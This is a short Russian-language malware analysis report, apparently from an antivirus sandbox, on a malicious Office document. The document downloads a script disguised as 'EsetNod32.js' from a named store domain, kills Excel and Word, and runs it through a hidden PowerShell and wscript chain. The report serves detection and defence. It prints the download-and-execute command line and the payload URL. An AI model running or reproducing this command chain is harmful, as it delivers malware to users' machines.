Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://farmaeuro.store/download/file.php?id=5 как c:\users\public\esetnod32.js
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /f /im excel.exe
- '<SYSTEM32>\taskkill.exe' /f /im winword.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im excel.exe & taskkill /f /im winword.exe & ping -n 3 localhost & PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFi...
Сетевая активность
UDP
- DNS ASK fa###euro.store
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '<SYSTEM32>\ping.exe' -n 3 localhost
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\EsetNod32.js"
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im excel.exe & taskkill /f /im winword.exe & ping -n 3 localhost & PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFi... (со скрытым окном)
